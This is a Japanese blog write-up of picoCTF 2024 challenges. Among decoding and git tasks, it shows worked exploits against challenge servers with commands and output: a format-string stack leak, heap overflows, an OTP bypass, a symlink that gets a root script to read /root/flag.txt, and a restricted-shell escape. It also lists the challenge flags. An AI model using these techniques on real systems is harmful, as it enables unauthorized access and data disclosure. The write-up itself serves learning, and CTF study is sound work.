日記

日本語の勉強のためのブログ

picoCTF2024 writeup

100pt問題とgeneral問題は全部解いた。2725点で1029位。終了日を忘れていたせいで気づいたら終わっていた…

WebDecode (Web, 50)

about.htmlの44行目に気になる記述がある。

<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZjZmNmI3OGF9">

notify_trueの値をbase64デコードすれば良い。

picoCTF{web_succ3ssfully_d3c0ded_f6f6b78a}

Commitment Issues (General, 50)

zipファイルが与えられる。解凍したら.gitディレクトリが入っており、Gitのコミット履歴を見ることでflagを復元できるようだ。
調べたところ、git log -pを実行することでGitのコミット履歴とその変更点を見ることができるとのこと

$ git log -p
commit 144fdc44b09058d7ea7f224121dfa5babadddbb9 (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:06:25 2024 +0000

    remove sensitive info

diff --git a/message.txt b/message.txt
index 3a71673..d552d1e 100644
--- a/message.txt
+++ b/message.txt
@@ -1 +1 @@
-picoCTF{s@n1t1z3_be3dd3da}
+TOP SECRET

commit 7d3aa557ff7ba7d116badaf5307761efb3622249
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:06:25 2024 +0000

    create flag

diff --git a/message.txt b/message.txt
new file mode 100644
index 0000000..3a71673
--- /dev/null
+++ b/message.txt
@@ -0,0 +1 @@
+picoCTF{s@n1t1z3_be3dd3da}

これでflagが得られた。

picoCTF{s@n1t1z3_be3dd3da}

interencdec (crypto, 50)

2回base64でデコードしたのち、ROT19をかければよい。Cyberchefを使うと楽。

picoCTF{caesar_d3cr9pt3d_890d2379}

Time Machine (general, 50)

git logで見れた。

picoCTF{t1m3m@ch1n3_88c35e3b}

Blame Game (general, 75)

問題名からgit blameを使えばよいことが推測できる。

picoCTF{@sk_th3_1nt3rn_81e716ff}

Collaborative Development(general, 75)

問題文にチーム開発をしているとあるので、関連した機能を使ってみる。
git branchを実行したところ、計4つのブランチがあることに気づいた。

$ git branch
  feature/part-1
  feature/part-2
  feature/part-3
* main

他のブランチとの相違点を確認する。

$ git diff main feature/part-1 feature/part-2 feature/part-3
diff --cc flag.py
index 6e17fb3,7ab4e25,c312152..77d6cec
--- a/flag.py
+++ b/flag.py
@@@@ -1,2 -1,3 -1,3 +1,1 @@@@
   print("Printing the flag...")
-  print("picoCTF{t3@mw0rk_", end='')
 --
 - print("m@k3s_th3_dr3@m_", end='')
  -print("w0rk_798f9981}")

これでflagがわかった。

picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_w0rk_798f9981}

format string 0 (Binary Exploitation, 50)

選択肢のうち、フォーマット文字列として意味をなすものを選べばflagが得られる。 内部的には、

  • 1問目は出力サイズが入力文字列の2倍より大きければ(if (count > 2 * BUFSIZE))2問目に移る
  • 2問目では%sを出力する際に以前変数に格納したflagが出力されるバグがある

という以上の原因によりflagが出力されている。

$ nc mimas.picoctf.net 53026
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr                                                                                                           4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_a1d85b3e}

heap 0 (binary, 50)

与えられたソースコードcheck_win()関数より、safe_varの中身がbicoという文字列以外ならflagが得られるとのこと。 ソースや動作状況から、input_datasafe_varより0x20だけ若い番地に置かれていることがわかるので、0x20 = 32文字以上の文字列を入力すればsafe_varを書き換え、flagを得ることが可能である。
※ヌル文字を含めて33文字以上、つまり普通に入力して32文字以上の入力が必要

$ nc tethys.picoctf.net 51995

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x55a8b341e2b0  ->   pico
+-------------+----------------+
[*]   0x55a8b341e2d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x55a8b341e2b0  ->   aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+-------------+----------------+
[*]   0x55a8b341e2d0  ->
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{my_first_heap_overflow_749119de}

Verify (forensics, 50)

files直下の全ファイルをfor文で試す脳筋プレーでflagを得た。

for file_name in $(ls -R files/* -1); do
    openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt -in "/home/ctf-player/drop-in/$file_name" -k picoCTF 2>/dev/null
done

おそらく想定解はsha256+grep

ctf-player@pico-chall$ cat checksum.txt
b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2

ctf-player@pico-chall$ sha256sum files/* | grep b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2
b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2  files/451fd69b

ctf-player@pico-chall$ ./decrypt.sh files/451fd69b
picoCTF{trust_but_verify_451fd69b}

picoCTF{trust_but_verify_451fd69b}

CanYouSee (forensics, 100)

zipファイルを解凍するとukn_reality.jpgが現れる。binwalkfileでは何も出なかったが、stringsを利用するとbase64エンコードされた文字列が出てくる。これをデコードするとflagが得られた。

$ strings ukn_reality.jpg | head
JFIF
7http://ns.adobe.com/xap/1.0/
<?xpacket begin='
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 11.88'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:cc='http://creativecommons.org/ns#'>
  <cc:attributionURL rdf:resource='cGljb0NURntNRTc0RDQ3QV9ISUREM05fZDhjMzgxZmR9Cg=='/>
 </rdf:Description>

$ echo cGljb0NURntNRTc0RDQ3QV9ISUREM05fZDhjMzgxZmR9Cg== | base64 -d
picoCTF{ME74D47A_HIDD3N_d8c381fd}

別解:IrfanViewなどの画像ビューアで画像のプロパティ→IPTC情報→XMP Tagを見ると、rdf:resourceに先ほどのbase64文字列がある。これをデコードすればよい。

Unminify (web, 100)

与えられたWebページのHTMLソースの中にflagが隠れているので、それを単に探せば良い。

<div class="picoctf{}" style="width:70%">
  <p class="picoctf{}">If you're reading this, your browser has succesfully received the flag.</p>
  <p class="picoCTF{pr3tty_c0d3_dbe259ce}"></p>
  <p class="picoctf{}">I just deliver flags, I don't know how to read them...</p>
</div>

Secret of the Polyglot (forensics, 100)

pdfファイルが与えられるが、fileコマンドによるとpngファイルとのことなので拡張子を変更して画像ビューアで見てみる。するとflagの前半部分(picoCTF{f1u3n7_)が書いてあった。これと、もとのpdfファイルに書かれていたflagの後半部分をつなぎ合わせることでflagが得られる。

picoCTF{f1u3n7_1n_pn9_&_pdf_2a6a1ea8}

Binary Search (general, 100)

1~1000の中から数字を当てるゲーム。タイトルの通り、2分探索を用いて数字を推測すればよい。

$ ssh -p 56013 ctf-player@atlas.picoctf.net
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Lower! Try again.
Enter your guess: 250
Higher! Try again.
Enter your guess: 375
Higher! Try again.
Enter your guess: 440
Higher! Try again.
Enter your guess: 475
Lower! Try again.
Enter your guess: 460
Higher! Try again.
Enter your guess: 467
Higher! Try again.
Enter your guess: 470
Higher! Try again.
Enter your guess: 473
Lower! Try again.
Enter your guess: 472
Congratulations! You guessed the correct number: 472
Here's your flag: picoCTF{g00d_gu355_bee04a2a}
Connection to atlas.picoctf.net closed.

Custom encryption (crypto, 100)

暗号文と暗号化スクリプトが与えられる。スクリプトを見ると、

  1. dynamic_xor_encrypt
  2. encrypt

の順番で暗号化されており、前者は

  • 平文を逆順に並び替える
  • text_keyとのxorをとる

処理で、後者は

処理である。そのため、復号するには

  • 暗号文の各数をkeyと311で割る
  • それとtext_keyとのxorをとる
  • それを逆順に並び替える

という処理を行えばよい。

なお、keyを求めるにはa = randint(p-10, p), b = randint(g-10, g)となる素数p, gを特定する必要があるが、

  • pについて
    • p-10 <= a = 90 <= pより90 <= p <= 100
    • pは素数なのでpの候補は97のみ
  • gについて
    • g-10 <= b = 26 <= gより26 <= g <= 36
    • gは素数なのでgの候補は29, 31のどちらか

ということで、p, g = (97, 29), (97, 31)のどちらかを試せばよい。まあスクリプトtest関数にp = 97, g = 31と書いてあるのだが…

これを踏まえてdecrypt関数とdynamic_xor_decrypt関数を追記したスクリプトを以下に示す。

from random import randint
import sys

def generator(g, x, p):
    return pow(g, x) % p

def encrypt(plaintext, key):
    cipher = []
    for char in plaintext:
        cipher.append(((ord(char) * key*311)))
    return cipher

def decrypt(cipher, key):
    plaintext = ""
    for c in cipher:
        plaintext += chr(c // key // 311)
    return plaintext

def is_prime(p):
    v = 0
    for i in range(2, p + 1):
        if p % i == 0:
            v = v + 1
    if v > 1:
        return False
    else:
        return True

def dynamic_xor_encrypt(plaintext, text_key):
    cipher_text = ""
    key_length = len(text_key)
    for i, char in enumerate(plaintext[::-1]):
        key_char = text_key[i % key_length]
        encrypted_char = chr(ord(char) ^ ord(key_char))
        cipher_text += encrypted_char
    return cipher_text

def dynamic_xor_decrypt(cipher, text_key):
    plain_text = ""
    key_length = len(text_key)
    for i, char in enumerate(cipher):
        key_char = text_key[i % key_length]
        decrypted_char = chr(ord(char) ^ ord(key_char))
        plain_text = decrypted_char + plain_text
    return plain_text

def test(plain_text, text_key):
    p = 97
    g = 31
    if not is_prime(p) and not is_prime(g):
        print("Enter prime numbers")
        return
    a = randint(p-10, p)
    b = randint(g-10, g)
    print(f"a = {a}")
    print(f"b = {b}")
    u = generator(g, a, p)
    v = generator(g, b, p)
    key = generator(v, a, p)
    b_key = generator(u, b, p)
    shared_key = None
    if key == b_key:
        shared_key = key
    else:
        print("Invalid key")
        return
    semi_cipher = dynamic_xor_encrypt(plain_text, text_key)
    cipher = encrypt(semi_cipher, shared_key)
    print(f'cipher is: {cipher}')

def get_plaintext(text_key):
    a = 90
    b = 26
    p = 97
    g = 31
    u = generator(g, a, p)
    v = generator(g, b, p)
    shared_key = generator(v, a, p)
    cipher = [61578, 109472, 437888, 6842, 0, 20526, 129998, 526834, 478940, 287364, 0, 567886, 143682, 34210, 465256, 0, 150524, 588412, 6842, 424204, 164208, 184734, 41052, 41052, 116314, 41052, 177892, 348942, 218944, 335258, 177892, 47894, 82104, 116314] 
    semi_cipher = decrypt(cipher, shared_key)
    plaintext = dynamic_xor_decrypt(semi_cipher, text_key)
    print(f"plaintext is: {plaintext}")

if __name__ == "__main__":
    #message = sys.argv[1]
    #test(message, "trudeau")
    get_plaintext("trudeau")

これを実行することで暗号文を復号でき、flagが手に入る。

$ python3 custom_encryption.py
plaintext is: picoCTF{custom_d2cr0pt6d_49fbee5b}

packer (reverse, 100)

バイナリが与えられる。中身を見てみようとobjdumpを使ったが何も表示されない。

$ file out
out: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header

$ objdump -D out
out:     file format elf64-x86-64

タイトルよりパッカーが使用されていると考え、strings outを実行してみたところ、末尾にUPX!と表示された。そのためUPXを用いてアンパックしてみる。

$ upx -d out
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
[WARNING] bad b_info at 0x4b710

[WARNING] ... recovery at 0x4b70c

    877724 <-    336512   38.34%   linux/amd64   out

Unpacked 1 file.

これによりobjdumpデコンパイルできるようになった。この状態でstrings outしたところ、怪しい数列が出てきた。

Enter the password to unlock this file:
You entered: %s
Password correct, please see flag: 7069636f4354467b5539585f556e5034636b314e365f42316e34526933535f36666639363465667d
Access denied

これを16進文字列として解釈すると、flagが得られた。

picoCTF{U9X_UnP4ck1N6_B1n4Ri3S_6ff964ef}

IntroToBurp (web, 100)

用意されたWEBページは、

  1. 何らかの情報登録フォーム(/)に記入すると、
  2. 二段階認証の画面(/dashboard)に飛ばされる

という構造になっている。

タイトルからしてburpsuiteを用いるものだと考えたが、その先がわからない。入力欄にSQLiしたりリクエスト内のjwtをデコードしたりしてみたが、何も得られなかった。

結局、最初の情報登録フォームの送信内容をburpsuiteで改変し、送信先を/から/dashboardに変更したところ、flagが得られた。

Welcome, a you sucessfully bypassed the OTP request. Your Flag: picoCTF{#0TP_Bypvss_SuCc3$S_9090d63c}

heap 1 (binary, 100)

heap 0と同様にして解ける。

ソースコードより、今回はsafe_var = picoであればflagを得ることができるとわかる(check_win()関数より)。またヒープの状態から、input_dataの0x20バイト先にsafe_varが格納されていることがわかる。

以上より、input_dataに0x20文字の適当な文字列と、picoという文字列を与えれば、safe_varの中身をpicoにできる。これでflagを得られる。

$ nc tethys.picoctf.net 61777

Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x5641177c72b0  ->   pico
+-------------+----------------+
[*]   0x5641177c72d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: 0123456789abcdef0123456789abcdefpico

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 3


Take a look at my variable: safe_var = pico


1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{starting_to_get_the_hang_b9064d7c}

format string 1 (binary, 100)

与えられたソースコードに以下のように書かれている。

  printf("Give me your order and I'll read it back to you:\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

入力をそのまま出力するだけにも見えるが、printf(buf)の部分で書式文字列攻撃が使用できてしまう。つまり、buf%lxなどのフォーマット文字列を入力することで、スタック内のデータを出力させることが可能である。

$ nc mimas.picoctf.net 51033
Give me your order and I'll read it back to you:
%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,
Here's your order: 402118,0,7f6bb91cba00,0,1c47880,a347834,7ffe52acc940,7f6bb8fbce60,7f6bb91e14d0,1,7ffe52acca10,0,0,7b4654436f636970,355f31346d316e34,3478345f33317937,34365f673431665f,7d363131373732,7,7f6bb91e38d8,2300000007,206e693374307250,a336c797453,9,7f6bb91f4de9,7f6bb8fc5098,7f6bb91e14d0,0,7ffe52acca20,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,
Bye!

出力をコンマで区切り、それぞれの16進数を文字列に変換すると、以下のようになる(CyberChef使用)。 ※個人的なtips: "fork"を使うと1行ずつ処理できる

@!
 
kケコ 
 
G・ 
」G・
Rャノ@
kク鉸`
kケミ

Rャハ
 
 
{FTCocip
5_14m1n4
4x4_31y7
46_g41f_
}611772
 
kケ8リ
#    
 ni3t0rP
」6ヌ勇
    
kケM・kク・・kケミ
 
Rャハ 
,xl%,xl%
,xl%,xl%
,xl%,xl%
,xl%,xl%
,xl%,xl%
,xl%,xl%
,xl%,xl%

中央にある{FTCocipのあたりを文字列反転させると次のようになる。

picoCTF{
4n1m41_5
7y13_4x4
_f14g_64
277116}

これでflagが得られた。

picoCTF{4n1m41_57y13_4x4_f14g_64277116}

endianness (general, 200)

与えられた文字列を16進表記に変換し、これをビッグ・リトルエンディアンで表現すればよい。時間制限や回答数の制限はない。

$ nc titan.picoctf.net 63490
Welcome to the Endian CTF!
You need to find both the little endian and big endian representations of a word.
If you get both correct, you will receive the flag.
Word: fzruu
Enter the Little Endian representation: 7575727a66
Correct Little Endian representation!
Enter the Big Endian representation: 667a727575
Correct Big Endian representation!
Congratulations! You found both endian representations correctly!
Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_cfe38ef0}

dont-you-love-banners (general, 300)

いくつかのクイズに正答してシェルにログインする。

┌──(kali㉿LAPTOP)-[~]
└─$ nc tethys.picoctf.net 65226
*************************************
**************WELCOME****************
*************************************

what is the password?
My_Passw@rd_@1234
What is the top cyber security conference in the world?
defcon
the first hacker ever was known for phreaking(making free phone calls), who was it?
john draper
player@challenge:~$

/root直下を見ると、接続時に実行されるスクリプトとflagらしきファイルがあった。

player@challenge:~$ cd /root
cd /root
player@challenge:/root$ ls -la
ls -la
total 16
drwxr-xr-x 1 root root    6 Mar 12 00:18 .
drwxr-xr-x 1 root root   29 Mar 26 00:45 ..
-rw-r--r-- 1 root root 3106 Apr  9  2018 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rwx------ 1 root root   46 Mar 12 00:18 flag.txt
-rw-r--r-- 1 root root 1317 Feb  7 17:25 script.py
player@challenge:/root$ cat script.py
cat script.py

import os
import pty

incorrect_ans_reply = "Lol, good try, try again and good luck\n"

if __name__ == "__main__":
    try:
      with open("/home/player/banner", "r") as f:
        print(f.read())
    except:
      print("*********************************************")
      print("***************DEFAULT BANNER****************")
      print("*Please supply banner in /home/player/banner*")
      print("*********************************************")

try:
    request = input("what is the password? \n").upper()
    while request:
        if request == 'MY_PASSW@RD_@1234':
            text = input("What is the top cyber security conference in the world?\n").upper()
            if text == 'DEFCON' or text == 'DEF CON':
                output = input(
                    "the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
                if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
                    scmd = 'su - player'
                    pty.spawn(scmd.split(' '))

                else:
                    print(incorrect_ans_reply)
            else:
                print(incorrect_ans_reply)
        else:
            print(incorrect_ans_reply)
            break

except:
    KeyboardInterrupt

次に、接続時にbannerというファイルが表示されることを利用し、banner/root/flag.txtシンボリックリンクとして設定する。これで次回の接続時にflagが表示されるはず。

player@challenge:/root$ cd
cd
player@challenge:~$ ls
ls
banner  text
player@challenge:~$ rm banner
rm banner
player@challenge:~$ ln -s /root/flag.txt banner
ln -s /root/flag.txt banner

一度接続を切り、もう一度接続することでflagが表示される。

player@challenge:~$ ^C

┌──(kali㉿LAPTOP)-[~]
└─$ nc tethys.picoctf.net 65226
picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_a0e119d4}

what is the password?

SansAlpha (general, 400)

数字といくつかの記号しか使えないシェルでflagを探す問題。
bashのドキュメントを見たところ、\xxxという形式を使えば文字を8進数で表せることがわかったが、\すら塞がれていた。

lsの代わりに、?*を使ってどんなファイルが存在するか調べることができる*1とのことなので、やってみる。

SansAlpha$ . ./?
bash: ./?: No such file or directory

SansAlpha$ . ./??
bash: ./??: No such file or directory

SansAlpha$ . ./???
bash: ./???: No such file or directory

SansAlpha$ . ./????
bash: ./????: No such file or directory

SansAlpha$ . ./?????
bash: ./?????: No such file or directory

SansAlpha$ . ./??????
bash: .: ./blargh: is a directory

./blarghというディレクトリがあるとわかった。その中をさらに見ていく。

SansAlpha$ ./*/?
bash: ./*/?: No such file or directory

SansAlpha$ ./*/??
bash: ./*/??: No such file or directory

SansAlpha$ ./*/???
bash: ./*/???: No such file or directory

SansAlpha$ ./*/????
bash: ./*/????: No such file or directory

SansAlpha$ ./*/?????
bash: ./*/?????: No such file or directory

SansAlpha$ ./*/??????
bash: ./*/??????: No such file or directory

SansAlpha$ ./*/???????
bash: ./*/???????: No such file or directory

SansAlpha$ ./*/????????
bash: ./blargh/flag.txt: Permission denied

どうやら./blargh/flag.txtという怪しげなファイルが存在するようだ。

この中身を見たい、つまりcatを使いたいが、アルファベットを使用することはできない。そこで、エラーメッセージ等からc,a,tの3文字を抜き出すことでcatという文字列を錬成する手法をとる。
上記出力のエラーメッセージbash: ./?: No such file or directoryには、ありがたいことにその3文字がすべて含まれているため、これを利用する。具体的には、

  1. . ./?の実行結果(エラーメッセージ)をリダイレクト2>&1を利用して変数__に格納し、
  2. ${parameter:offset:length}構文を使って任意の1文字を持ってくる

という処理を行う*2

例を挙げて説明すると、1については以下のようにして変数に格納でき、

__=$(. ./? 2>&1)

そして2については以下のようにして文字列から任意の文字を取得できる。

SansAlpha$ ${__:0:1}
bash: b: command not found

SansAlpha$ ${__:1:1}
bash: a: command not found

SansAlpha$ ${__:2:1}
bash: s: command not found

SansAlpha$ ${__:3:1}
bash: h: command not found

SansAlpha$ ${__:16:1}
bash: c: command not found

SansAlpha$ ${__:1:1}
bash: a: command not found

SansAlpha$ ${__:32:1}
bash: t: command not found

以上より、__=$(. ./? 2>&1);${__:16:1}${__:1:1}${__:32:1} ./*/????????を入力することでcat ./blargh/flag.txtを実行することができ、flagを得ることができる。

SansAlpha$ __=$(. ./? 2>&1);${__:16:1}${__:1:1}${__:32:1} ./*/????????
return 0 picoCTF{7h15_mu171v3r53_15_m4dn355_8b3d83ad}

Mob psycho (forensics, 200)

与えられたapkファイルをzipとみなして解凍し、その中からflagを探す。

$ unar mobpsycho.zip

$ find . -name flag* 
./res/color/flag.txt

$ cat res/color/flag.txt
7069636f4354467b6178386d433052553676655f4e5838356c346178386d436c5f37303364643965667d

flag.txtに書かれている16進数を文字列として解釈すると、flagが得られた。

picoCTF{ax8mC0RU6ve_NX85l4ax8mCl_703dd9ef}